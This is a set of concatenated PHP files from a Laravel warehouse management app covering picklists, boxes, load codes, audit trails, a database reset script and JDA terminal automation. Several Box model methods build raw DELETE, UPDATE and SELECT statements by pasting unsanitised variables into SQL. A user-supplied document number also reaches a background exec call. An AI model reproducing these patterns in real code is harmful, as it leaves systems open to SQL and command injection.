/*public function generateLoadCode()
{
$loadMax = Load::select(DB::raw('max(id) as max_created, max(load_code) as load_code'))->first()->toArray();
;
if($loadMax['max_created'] === null) {
$loadCode = 'LD0000001';
} else {
$loadCode = substr($loadMax['load_code'], -7);
$loadCode = (int) $loadCode + 1;
$loadCode = 'LD' . sprintf("%07s", (int)$loadCode);
}
Load::create(array(
'load_code' => $loadCode)
);
$load = Load::where('load_code', '=',$loadCode)->first()->toArray();
self::generateLoadCodeAuditTrail($loadCode);
echo json_encode($load);
die();
}*/
protected function getLoadCodes()
{
$loadCodes = Load::getLoadCodes();
return $loadCodes;
}
protected function checkPermissions($permission)
{
if (Session::has('permissions')) {
if (!in_array($permission, unserialize(Session::get('permissions')))) {
return Redirect::to('picking/list');
}
} else {
return Redirect::to('users/logout');
}
}
protected function setURL($forDetail = false, $forBackToList = false) {
// Search Filters
// http://local.ccri.com/picking/list?filter_doc_no=&filter_status=&filter_store=26&sort=doc_no&order=ASC
$url = '?filter_type=' . Input::get('filter_type', NULL);
$url .= '&filter_doc_no=' . Input::get('filter_doc_no', NULL);
$url .= '&filter_status=' . Input::get('filter_status', NULL);
$url .= '&filter_store=' . Input::get('filter_store', NULL);
$url .= '&filter_stock_piler=' . Input::get('filter_stock_piler', NULL);
// $url .= '&filter_sku=' . Input::get('filter_sku', NULL);
// $url .= '&filter_upc=' . Input::get('filter_upc', NULL);
if($forDetail) {
$url .= '&sort_back=' . Input::get('sort', 'doc_no');
$url .= '&order_back=' . Input::get('order', 'ASC');
$url .= '&page_back=' . Input::get('page', 1);
} else {
if($forBackToList == true) {
$url .= '&sort=' . Input::get('sort_back', 'doc_no');
$url .= '&order=' . Input::get('order_back', 'ASC');
$url .= '&page=' . Input::get('page_back', 1);
} else {
$url .= '&sort=' . Input::get('sort', 'doc_no');
$url .= '&order=' . Input::get('order', 'ASC');
$url .= '&page=' . Input::get('page', 1);
}
}
return $url;
}
protected function setURLLock($forDetail = false, $forBackToList = false) {
// Search Filters
$url = '?filter_stock_piler=' . Input::get('filter_stock_piler', NULL);
$url .= '&filter_doc_no=' . Input::get('filter_doc_no', NULL);
$url .= '&filter_sku=' . Input::get('filter_sku', NULL);
if($forDetail) {
$url .= '&page_back=' . Input::get('page', 1);
$url .= '&sort_back=' . Input::get('sort', 'lock_tag');
$url .= '&order_back=' . Input::get('order', 'ASC');
} else {
if($forBackToList == true) {
$url .= '&page=' . Input::get('page_back', 1);
$url .= '&sort=' . Input::get('sort_back', 'lock_tag');
$url .= '&order=' . Input::get('order_back', 'ASC');
} else {
$url .= '&page=' . Input::get('page', 1);
$url .= '&sort=' . Input::get('sort', 'lock_tag');
$url .= '&order=' . Input::get('order', 'ASC');
}
}
return $url;
}
/**
* Gets stock piler for drop down
*
* @example $this->getStockPilers();
*
* @return array of stock piler and drop down initial text;
*/
private function getStockPilers()
{
$stock_pilers = array();
foreach (User::getStockPilerOptions() as $item) {
$stock_pilers[$item->id] = $item->firstname . ' ' . $item->lastname;
}
return array('' => Lang::get('general.text_select')) + $stock_pilers;
}
private function getStoreBranches()
{
$store_name = array();
foreach (Store::getStoreBranchesOptions() as $item) {
$store_name[$item->store_code] = $item->store_name;
}
return array('' => Lang::get('general.text_select')) + $store_name;
}
/**
* Audit trail for picklist
*
* @example self::unlockPicklistTagAuditTrail
*
* @param $lockTags lock tags
* @return void
*/
private function unlockPicklistTagAuditTrail($lockTags)
{
$lockTags = implode(',', $lockTags);
$data_after = 'Locktags# '.$lockTags . ' unlocked by' . Auth::user()->username;
$arrParams = array(
'module' => Config::get("audit_trail_modules.picking"),
'action' => Config::get("audit_trail.unlock_picklist_tag"),
'reference' => 'Locktags # ' . $lockTags,
'data_before' => '',
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
/**
* Audit trail for generating load code
*
* @example self::generateLoadCodeAuditTrail()
*
* @param $loadCodeload code
* @return void
*/
/*private function generateLoadCodeAuditTrail($loadCode)
{
$data_after = 'Load code # '.$loadCode . ' generated by' . Auth::user()->username;
$arrParams = array(
'module' => Config::get("audit_trail_modules.picking"),
'action' => Config::get("audit_trail.generate_load_code"),
'reference' => 'Load code # ' . $loadCode,
'data_before' => '',
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}*/
/**
* Audit trail for picklist change type to store
*
* @example self::changeToStoreAuditTrail()
*
* @param $picklistDocNo picklist document number
* @return void
*/
private function changeToStoreAuditTrail($picklistDocNo)
{
$picklistDocNo = implode(',', $picklistDocNo);
$data_after = 'Picklist document # '.$picklistDocNo . ' change to type store by ' . Auth::user()->username;
$arrParams = array(
'module' => Config::get("audit_trail_modules.picking"),
'action' => Config::get("audit_trail.picklist_change_to_store"),
'reference' => 'Picklist document # ' . $picklistDocNo,
'data_before' => '',
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
/**
* Audit trail for picklist loading
*
* @example self::loadPicklistDocumentsAuditTrail()
*
* @param $picklistDocNos picklist document numbers
* @param $loadCode load code
* @return void
*/
/*private function loadPicklistDocumentsAuditTrail($picklistDocNos, $loadCode)
{
$picklistDocNos = implode(',', $picklistDocNos);
$data_after = 'Picklist document # '.$picklistDocNos . ' loaded to Load # ' . $loadCode .' by '. Auth::user()->username;
$arrParams = array(
'module' => Config::get("audit_trail_modules.picking"),
'action' => Config::get("audit_trail.picklist_load"),
'reference' => 'Picklist documents # ' . $picklistDocNos,
'data_before' => '',
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}*/
public function assignPilerForm() {
if (Session::has('permissions')) {
if (!in_array('CanAssignPacking', unserialize(Session::get('permissions')))) {
return Redirect::to('purchase_order');
}
} else {
return Redirect::to('users/logout');
}
// Search Filters
$filter_type = Input::get('filter_type', NULL);
$filter_doc_no = Input::get('filter_doc_no', NULL);
$filter_status = Input::get('filter_status', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$sort = Input::get('sort', 'doc_no');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
$this->data = Lang::get('picking');
$this->data['doc_no'] = Input::get('doc_no');
$this->data['filter_type'] = $filter_type;
$this->data['filter_doc_no'] = $filter_doc_no;
$this->data['filter_status'] = $filter_status;
$this->data['filter_store'] = $filter_store;
$this->data['filter_stock_piler'] = $filter_stock_piler;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$this->data['stock_piler_list'] = $this->getStockPilers();
$this->data['button_assign'] = Lang::get('general.button_assign');
$this->data['button_cancel'] = Lang::get('general.button_cancel');
$this->data['url_back'] = URL::to('picking/list'). $this->setURL();
$this->data['params'] = explode(',', Input::get('doc_no'));
$this->data['info'] = Picklist::getInfoByDocNos($this->data['params']);
$this->layout->content = View::make('picking.assign_piler_form', $this->data);
}
/**
* Assign stock piler to purchase order
*
* @example www.example.com/purchase_order/assign_to_piler
*
* @param po_no int Purchase order number
* @param stock_piler int Stock piler id
* @return Status
*/
public function assignToStockPiler() {
// Check Permissions
$pilers = implode(',' , Input::get('stock_piler'));
//get moved_to_reserve id
$arrParams = array('data_code' => 'PICKLIST_STATUS_TYPE', 'data_value'=> 'assigned');
$picklistStatus = Dataset::getType($arrParams)->toArray();
$arrDocNo = explode(',', Input::get("doc_no"));
foreach ($arrDocNo as $docNo) {
$arrParams = array(
'assigned_by' => Auth::user()->id,
'assigned_to_user_id' => $pilers, //Input::get('stock_piler'),
'pl_status' => $picklistStatus['id'], //assigned
'updated_at' => date('Y-m-d H:i:s')
);
Picklist::assignToStockPiler($docNo, $arrParams);
// AuditTrail
$users = User::getUsersFullname(Input::get('stock_piler'));
$fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $users));
$data_before = '';
$data_after = 'Picklist MTS no.: ' . $docNo . ' assigned to ' . $fullname;
$arrParams = array(
'module' => Config::get('audit_trail_modules.picking/packing'),
'action' => Config::get('audit_trail.assign_picklist'),
'reference' => 'MTS no. : ' . $docNo,
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
// AuditTrail
}
return Redirect::to('picking/list' . $this->setURL())->with('message', Lang::get('picking.text_success_assign'));
}
public function TLnumbersync()
{
Picklist::getTLnumbersync();
return Redirect::to('picking/list'.$this->setURL())->with('message','Sync To Mobile Successfully');
}
public function barcode()
{
}
public function closePicklist()
{
$docNo = Input::get("doc_no");
$boxcode =Input::get('boxcode');
$status = 'posted'; // closed
$date_updated = date('Y-m-d H:i:s');
$status_options = Dataset::where("data_code", "=", "PICKLIST_STATUS_TYPE")->get()->lists("id", "data_value");
$picklist = Picklist::updateStatus($docNo, $status_options['closed']);
//Picklist::getpostedtoStore($docNo,$boxcode);
/*Pic klist::getpos tedtoBo xOrder($ doc No);*/
// AuditTrail
$user = User::find(Auth::user()->id);
$data_before = '';
$data_after = 'Picklist Document No: ' . $docNo . ' posted by ' . $user->username;
$arrParams = array(
'module' => Config::get("audit_trail_modules.picking/packing"),
'action' => Config::get("audit_trail.close_pickilist"),
'reference' => 'MTS no: '.$docNo,
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
// AuditTrail
// jda syncing
$picklistParams = array(
'module' => Config::get('transactions.module_picklist'),
'jda_action' => Config::get('transactions.jda_action_picklist'),
'reference' => $docNo
);
//create jda transaction for picklist closing
$isSuccess = JdaTransaction::insert($picklistParams);
Log::info(__METHOD__ .' jda transaction dump: '.print_r($isSuccess,true));
//Log::info(__METHOD__ .' dump: '.print_r($docNo,true));
// run daemon command: php app/cron/jda/classes/picklist.php
/*if( $isSuccess )
{
$daemon = "Picking.php {$docNo}";
CommonHelper::execInBackgroundDEB($daemon,'picklist');
}*/
if( $isSuccess )
{
$daemon = "classes/picklist.php {$docNo}";
CommonHelper::execInBackground($daemon,'picklist');
}
return Redirect::to('picking/list' . $this->setURL())->with('message', Lang::get('picking.text_success_posted'));
}
public function printBoxLabel($doc_num)
{
// Search Filters
$this->data = lang::get('picking');
$filter_type = Input::get('filter_type', NULL);
$filter_doc_no = Input::get('filter_doc_no', NULL);
$filter_status = Input::get('filter_status', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$filter_box_code = Input::get('filter_box_code', null);
$sort = Input::get('sort', 'doc_no');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
$this->data['filter_type'] = $filter_type;
$this->data['filter_doc_no'] = $filter_doc_no;
$this->data['filter_status'] = $filter_status;
$this->data['filter_store'] = $filter_store;
$this->data['filter_stock_piler'] = $filter_stock_piler;
$this->data['filter_box_code'] = $filter_box_code;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$this->data['url_back'] = URL::to('picking/list' . $this->setURL());
$this->data['doc_num'] = $doc_num;
$this->data['records'] = Picklist::getPicklistBoxes($doc_num);
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout = View::make('layouts.print');
$this->layout->content = View::make('loads.box_list_details', $this->data);
}
public function printBoxLabelA4size($doc_num)
{
$this->checkPermissions('CanExportPacking');
$this->data = Lang::get('picking');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$arrParams = array(
'filter_type' => Input::get('filter_type', NULL),
'filter_doc_no' => Input::get('filter_doc_no', NULL),
'filter_status' => Input::get('filter_status', NULL),
'filter_store' => Input::get('filter_store', NULL),
'filter_stock_piler' => Input::get('filter_stock_piler', NULL),
'sort' => Input::get('sort', 'doc_no'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$records = Picklist::getPicklistBoxes($doc_num, $arrParams);
$this->data['records'] = $records;
$pdf = App::make('dompdf');
$pdf->loadView('picking.report_list1', $this->data)->setPaper('a7')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('picking_' . date('Ymd') . '.pdf');
}
}
<file_sep><?php
class Box extends Eloquent {
protected $guarded = array();
/**
* Get single box
*
* @example Box::getBox();
*
* @param boxCode box code
* @param storeCode store code
* @return Status
*/
public static function GetApiRPoList($piler_id)
{
$query = DB::select(DB::raw("SELECT purchase_order_no,wms_purchase_order_lists.receiver_no,wms_purchase_order_details.dept_number as division_id,division,wms_purchase_order_details.po_status from wms_purchase_order_lists
inner JOIN wms_purchase_order_details on wms_purchase_order_lists.receiver_no=wms_purchase_order_details.receiver_no where wms_purchase_order_details.assigned_to_user_id='$piler_id' and wms_purchase_order_details.po_status=3 group by wms_purchase_order_lists.receiver_no,dept_number"));
return $query;
}
public static function getBox($boxCode, $storeCode)
{
$box = Box::where('box_code','=',$boxCode)
->where('store_code', '=', $storeCode)
->get();
return $box;
}
/**
* The database table used by the model.
*
* @var string
*/
protected $table = 'box';
public static function getBoxes($storeCode)
{
$boxes = Box::where('store_code', '=', $storeCode)
->where('in_use', '=', Config::get('box_statuses.not_in_use'))
->lists('box_code');
DebugHelper::log(__METHOD__, $boxes);
return $boxes;
}
public static function getBoxesUserId($storeCode,$userid)
{
$boxes = Box::where('store_code', '=', $storeCode)
->where('userid', '=', $userid)
->where('in_use', '=', Config::get('box_statuses.not_in_use'))
->lists('box_code');
DebugHelper::log(__METHOD__, $boxes);
return $boxes;
}
/****************Methods for CMS********************/
/**
* Gets boxes with filters and order
*
* @example Box::getBoxesWithFilter({params})
*
* @return boxes
*/
public static function getBoxesWithFilters($data= array(), $getCount = FALSE)
{
/*$query = Box::select('box_details.picklist_detail_id', 'box.box_code', 'box.id', 'box.store_code', 'box.in_use', 'box.created_at', 'stores.store_name')
->join('stores', 'stores.store_code', '=', 'box.store_code')
->leftJoin('box_details', 'box_details.box_code', '=', 'box.box_code');
//8-24-15
$query = Box::select('box_details.picklist_detail_id', 'box.box_code', 'box.id', 'box.store_code', 'box.in_use', 'box.created_at', 'stores.store_name', 'picklist.pl_status')
->join('stores', 'stores.store_code', '=', 'box.store_code')
->leftJoin('picklist_details', 'picklist_details.store_code', '=', 'box.store_code')
->leftJoin('picklist', function($join)
{
$join->on('picklist.move_doc_number', '=', 'picklist_details.move_doc_number');
})
->leftJoin('box_details', 'box_details.box_code', '=', 'box.box_code');
*/
$query = Box::select('box_details.picklist_detail_id', 'box.box_code', 'box.id', 'box.store_code', 'box.in_use', 'box.created_at', 'stores.store_name', 'picklist.pl_status', 'box.userid', 'users.username','box.tl_number','picklist.move_doc_number')
->join('stores', 'stores.store_code', '=', 'box.store_code')
->leftJoin('box_details', 'box_details.box_code', '=', 'box.box_code')
->leftJoin('picklist_details', 'picklist_details.id', '=', 'box_details.picklist_detail_id')
->leftJoin('picklist', 'picklist.move_doc_number', '=', 'picklist_details.move_doc_number')
->leftJoin('users', 'users.id', '=', 'box.userid')
->where ('box.tl_number','=', $data['load_code']);
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='store') $data['sort'] = 'box.store_code';
if ($data['sort']=='box_code') $data['sort'] = 'box.box_code';
if ($data['sort']=='date_created') $data['sort'] = 'box.created_at';
// die($data['order']);
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['filter_store']) ) {
$query->where('stores.store_name', 'LIKE', '%'. $data['filter_store']. '%');
}
if( CommonHelper::hasValue($data['filter_box_code']) ) {
$query->where('box.box_code', 'LIKE', '%'.$data['filter_box_code']. '%');
}
if( CommonHelper::hasValue($data['filter_stock_piler']) ) {
$query->where('users.id', 'LIKE', $data['filter_stock_piler'] );
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) ) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$query->groupBy('box.box_code');
$result = $query->get();
if($getCount) return count($result);
DebugHelper::log(__METHOD__, $result);
return $result;
}
public static function getBoxesWithFilters1($data= array(), $getCount = FALSE)
{
$query = Box::select('box_details.picklist_detail_id', 'box.box_code', 'box.id', 'box.store_code', 'box.in_use', 'box.created_at', 'stores.store_name', 'picklist.pl_status', 'box.userid', 'users.username','box.tl_number','picklist.move_doc_number')
->join('stores', 'stores.store_code', '=', 'box.store_code')
->leftJoin('box_details', 'box_details.box_code', '=', 'box.box_code')
->leftJoin('picklist_details', 'picklist_details.id', '=', 'box_details.picklist_detail_id')
->leftJoin('picklist', 'picklist.move_doc_number', '=', 'picklist_details.move_doc_number')
->leftJoin('users', 'users.id', '=', 'box.userid')
->where ('box.tl_number','=', $data['load_code']);
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='store') $data['sort'] = 'box.store_code';
if ($data['sort']=='box_code') $data['sort'] = 'box.box_code';
if ($data['sort']=='date_created') $data['sort'] = 'box.created_at';
// die($data['order']);
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['filter_store']) ) {
$query->where('stores.store_name', 'LIKE', '%'. $data['filter_store']. '%');
}
if( CommonHelper::hasValue($data['filter_box_code']) ) {
$query->where('box.box_code', 'LIKE', '%'.$data['filter_box_code']. '%');
}
if( CommonHelper::hasValue($data['filter_stock_piler']) ) {
$query->where('users.id', 'LIKE', $data['filter_stock_piler'] );
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) ) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$query->groupBy('box.box_code');
$result = $query->get();
if($getCount) return count($result);
DebugHelper::log(__METHOD__, $result);
return $result;
}
public static function getboxcontent($id)
{
$query= DB::table('box', 'load')
->leftJoin('load','box.tl_number','=','load.load_code')
->leftJoin('users','users.id','=','assigned_to_user_id')
->leftJoin('stores', 'box.store_code','=','stores.store_code')
->where('box_code','=',$id)
->first();
return $query;
}
public static function getboxcontentstock($id)
{
$query= DB::table('box', 'load')
->leftJoin('load','box.tl_number','=','load.load_code')
->leftJoin('users','users.id','=','assigned_to_user_id')
->leftJoin('stores', 'box.store_code','=','stores.store_code')
->where('box_code','=',$id)
->first();
return $query;
}
public static function getremovedTL($tlnumber , $loadnumber) {
$query = DB::select(DB::raw("DELETE FROM wms_load_details where load_code = '$loadnumber' and box_number = '$tlnumber'"));
}
public static function getremovedTLUpdate($tlnumber , $loadnumber) {
$query = DB::select(DB::raw("UPDATE wms_box set assign_to_load='0' where box_code='$tlnumber'"));
}
public static function getremovedTLstock($tlnumber , $loadnumber) {
$query = DB::select(DB::raw("DELETE FROM wms_load_details where load_code = '$loadnumber' and box_number = '$tlnumber'"));
}
public static function getremovedTLUpdatestock($tlnumber , $loadnumber) {
$query = DB::select(DB::raw("UPDATE wms_box set assign_to_load='0' where box_code='$tlnumber'"));
}
public static function assignToTL($tlnumber , $loadnumber) {
$query = DB::select(DB::raw("UPDATE wms_box set assign_to_load='1' where box_code='$tlnumber'"));
}
public static function assignToTLnumberbox($tlnumber , $loadnumber) {
$query1 = DB::select(DB::raw("INSERT INTO `wms_load_details`(`id`, `load_code`, `box_number`, `sync_status`, `is_load`, `created_at`, `updated_at`, `jda_sync_date`) VALUES ('','$loadnumber','$tlnumber','','','','','')"));
}
public static function assignToTLstock($tlnumber , $loadnumber) {
$query = DB::select(DB::raw("UPDATE wms_box set assign_to_load='1' where box_code='$tlnumber'"));
}
public static function assignToTLnumberboxstock($tlnumber , $loadnumber) {
$query1 = DB::select(DB::raw("INSERT INTO `wms_load_details`(`id`, `load_code`, `box_number`, `sync_status`, `is_load`, `created_at`, `updated_at`, `jda_sync_date`) VALUES ('','$loadnumber','$tlnumber','','','','','')"));
}
public static function getLoadNumberstock ($data = array(), $getCount=false)
{
$query = Box::select('box.*','stores.*','store_return_pick_details.*',DB::raw('GROUP_CONCAT(DISTINCT(wms_store_return_pick_details.move_doc_number) SEPARATOR ", " ) as MASTER_EDU'))
->join('store_return_pick_details','box.tl_number','=','store_return_pick_details.move_doc_number','LEFT')
->join('stores','store_return_pick_details.to_store_code','=','stores.store_code','LEFT')
->where('box.assign_to_load','=', 0)
->where('box.in_use','=', 0)
->where('box.move_doc_number','=', "")
->groupBy('box_code');
if( CommonHelper::hasValue($data['filter_store']) ) $query->where('store_return_pick_details.from_store_code', 'LIKE', '%'. $data['filter_store']. '%');
if( CommonHelper::hasValue($data['filter_store_name']) ) $query->where('store_return_pick_details.to_store_code', 'LIKE', '%'. $data['filter_store_name']. '%');
if( CommonHelper::hasValue($data['filter_doc_no']) ) $query->where('box.box_code', 'LIKE', '%'. $data['filter_doc_no']. '%');
if( CommonHelper::hasValue($data['filter_doc_no_pick']) ) $query->where('store_return_pick_details.move_doc_number', 'LIKE', '%'. $data['filter_doc_no_pick']. '%');
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
DebugHelper::log(__METHOD__, $result);
// get the multiple stock piler fullname
foreach ($result as $key => $picklist) {
$assignedToUserId = explode(',', $picklist->assigned_to_user_id);
$getUsers = User::getUsersFullname($assignedToUserId);
$result[$key]->fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $getUsers));
}
if($getCount) return count($result);
return $result;
}
public static function getLoadNumber( $data= array(), $getCount=false)
{
// $query = Picklist::select(DB::raw('wms_picklist.*, sum(wms_picklist_details.move_to_shipping_area) as sum_moved, sum(wms_picklist_details.assigned_user_id) as sum_assigned, store_code' ))
$query = Box::select('box.*','stores.*',DB::raw('GROUP_CONCAT(DISTINCT(wms_picklist.move_doc_number) SEPARATOR ", " ) as MASTER_EDU'))
->join('picklist_details','box.move_doc_number','=','picklist_details.move_doc_number','LEFT')
->join('picklist','picklist_details.move_doc_number','=','picklist.move_doc_number','LEFT')
->join('stores','picklist_details.store_code','=','stores.store_code','LEFT')
->where('assign_to_load','=', 0)
->where('box.in_use','=',0)
->where('box.tl_number','=',"")
->groupBy('box_code');
if( CommonHelper::hasValue($data['filter_store']) ) $query->where('picklist_details.store_code', 'LIKE', '%'. $data['filter_store']. '%');
if( CommonHelper::hasValue($data['filter_doc_no']) ) $query->where('picklist_details.move_doc_number', 'LIKE', '%'. $data['filter_doc_no']. '%');
if( CommonHelper::hasValue($data['filter_box_code']) ) $query->where('picklist_details.move_doc_number', 'LIKE', '%'. $data['filter_box_code']. '%');
/* $query = Box::select('picklist.*','picklist.type','division.*','picklist_details.store_code','load.data_value' ,'box.move_doc_number as movedoc','picklist_details.updated_at as action_date')
->join('box','Picklist.move_doc_number','=','box.move_doc_number','LEFT')
->join('picklist_details', 'picklist_details.move_doc_number', '=', 'picklist.move_doc_number')
->join('division','picklist_details.division','=','division.id', 'LEFT')
->join('load','picklist.pl_status','=','load.data_value','LEFT')
->where('picklist.type', '=','0')
->where('picklist.pl_status','=','18');*/
/* if( CommonHelper::hasValue($data['filter_doc_no']) ) $query->where('Picklist.move_doc_number', 'LIKE', '%'. $data['filter_doc_no'] . '%');
if( CommonHelper::hasValue($data['filter_type']) ) $query->where('type', '=', $data['filter_type']);
if( CommonHelper::hasValue($data['filter_status']) ) $query->where('data_value', '=', $data['filter_status'])->where('data_code', '=', 'PICKLIST_STATUS_TYPE');
if( CommonHelper::hasValue($data['filter_store']) ) $query->where('picklist_details.store_code', 'LIKE', '%'. $data['filter_store']. '%');
if( CommonHelper::hasValue($data['filter_stock_piler']) ) $query->whereRaw('find_in_set('. $data['filter_stock_piler'] . ',assigned_to_user_id) > 0');
if( CommonHelper::hasValue($data['filter_transfer_no']) ) $query->where('picklist_details.so_no', 'LIKE', '%'. $data['filter_transfer_no'] . '%');
if( CommonHelper::hasValue($data['filter_action_date']) ) $query->whereBetween('picklist_details.updated_at', array($data['filter_action_date'] . ' 00:00:00', $data['filter_action_date'] . ' 23:59:59'));*/
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
DebugHelper::log(__METHOD__, $result);
// get the multiple stock piler fullname
foreach ($result as $key => $picklist) {
$assignedToUserId = explode(',', $picklist->assigned_to_user_id);
$getUsers = User::getUsersFullname($assignedToUserId);
$result[$key]->fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $getUsers));
}
if($getCount) return count($result);
return $result;
}
public static function getBoxesCount($data= array())
{
$query = Box::select(DB::raw('count(distinct wms_box.box_code) as count'))
->join('stores', 'stores.store_code', '=', 'box.store_code')
->leftJoin('box_details', 'box_details.box_code', '=', 'box.box_code');
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='store') $data['sort'] = 'box.store_code';
if ($data['sort']=='box_code') $data['sort'] = 'box.box_code';
if ($data['sort']=='date_created') $data['sort'] = 'box.created_at';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['filter_store']) ) {
$query->where('stores.store_name', 'LIKE', '%'. $data['filter_store']. '%');
}
if( CommonHelper::hasValue($data['filter_box_code']) ) {
$query->where('box.box_code', 'LIKE', '%'.$data['filter_box_code']. '%');
}
$result = $query->pluck('count');
return count($result);
}
/**
* Updates Box
*
* @example Box::updateBox({array})
*
* @return Status
*/
public static function updateBox($data=array())
{
$test = Box::where('box_code', '=', $data['box_code'])
->update(array(
'store_code' => $data['store'],
'in_use' => $data['in_use'],
'updated_at' => date('Y-m-d H:i:s')
));
return true;
}
public static function deleteByBoxCode($boxCode)
{
Box::where('box_code' ,'=', $boxCode)
->delete();
return;
}
public static function getBoxList($boxCode)
{
// $boxlist = Box::where('box.box_code', '=', $boxCode)
$boxlist = Box::select(DB::raw("wms_box.box_code, wms_box.store_code, picklist_detail_id, wms_box_details.moved_qty, move_doc_number,GROUP_CONCAT(RTRIM(so_no)) so_no"))
->join('box_details', 'box_details.box_code','=', 'box.box_code')
->join('picklist_details', 'box_details.picklist_detail_id','=', 'picklist_details.id', 'LEFT')
->where('box.box_code', '=', $boxCode)
// ->groupBy('box.box_code')
->first()->toArray();
// DebugHelper::log(__METHOD__, $boxlist);
return $boxlist;
}
public static function getInfoByBoxNos($data)
{
return Box::whereIn('box_code', $data)->get()->toArray();
}
public static function assignToStockPiler($Box_code = '', $data = array())
{
$query = Box::where('box_code', '=', $Box_code)->update($data);
DebugHelper::log(__METHOD__, $query);
}
public static function assignToTLnumber($Box_code = '', $data = array())
{
$query = picklist::where('move_doc_number', '=', $Box_code)->update($data);
DebugHelper::log(__METHOD__, $query);
}
/**
public static function getDetailsBox()
{
$query = DB::table('wms_box_details')
->where('box_code', '=', $id);
return $query;
}
**/
//TODO :: remove if not in use
/*********************Functions from Box detail**************************/
//protected $table = 'box_manifest';
/*
*
* Gets boxes of the store by store code / store code
*
*/
/* public static function getBoxesOfStoreByStoreCode($storeCode)
{
$boxes = BoxManifest::select('id', 'store_code', 'is_shipped')
->where('is_shipped', '=', 0)
->where('store_code','=', $storeCode)
->get();
return $boxes;
}*/
/*
*
* create boxes for a store of a specific store order
* note store code is the same is store code
*
*/
/* public static function createBox($storeCode)
{
BoxManifest::insert(
array('store_code' => $storeCode)
);
return;
}*/
/*
*
* Updates status of boxes
*
*/
/* public static function changeStatusOfBoxes($boxIds, $status)
{
BoxManifest::whereIn('id', $boxIds)
->update(array(
'is_shipped' => $status,
'updated_at' => date('Y-m-d H:i:s')
));
return ;
}*/
}<file_sep>composer -o dumpautoload
composer dump-autoload
php artisan dump-autoload
echo "Dump autoload. \n";
php artisan migrate:refresh
echo "Seeding..";
php artisan db:seed
echo "Dump autoload. \n";
php app/cron/ewms_cron_dump.php
echo "Refreshed database. \n";
php artisan config:publish lucadegasperi/oauth2-server-laravel
echo "Migrated Oauth tables. \n";
php artisan oauth2-server:migrations
php artisan db:seed --class=OauthclientSeeder
php artisan db:seed --class=OauthscopeSeeder
echo "Seeded oauth tables. \n";<file_sep><?php
include_once(__DIR__.'/../core/jda5250_helper.php');
include_once(__DIR__.'/../sql/mysql.php');
class palletizingStep5 extends jdaCustomClass
{
private static $formMsg = "";
private static $sealNo = 1;
private static $weight = 1;
/*
Palletizing: Loading
13
15
14
05
2
1
Enter Load id: LOADXXX20 Note: check for error: Enter a pallet id
Enter pallet_id: PLTCTN20X
Enter weight: 1
press ENTER
Enter again pallet_id //if multiple pallet just loop here
F1
F8
Enter seal no: 1 (default)
F7
press Enter
F1
F1
sign off
*/
public function __construct() {
// parent::__construct();
parent::login();
}
private static function enterRadioFrequencyApplications()
{
parent::$jda->screenWait("Radio Frequency Applications");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("15",22,44)),ENTER,true);
echo "Entered: Radio Frequency Applications \n";
}
private static function enterRFApplications()
{
parent::$jda->screenWait("RF Applications");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("14",22,44)),ENTER,true);
echo "Entered: RF Applications \n";
}
private static function enterShipping()
{
parent::$jda->screenWait("Shipping");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("05",15,1)),ENTER,true);
echo "Entered: Shipping \n";
}
private static function enterLoading()
{
parent::$jda->screenWait("Loading");
parent::display(parent::$jda->screen,132);
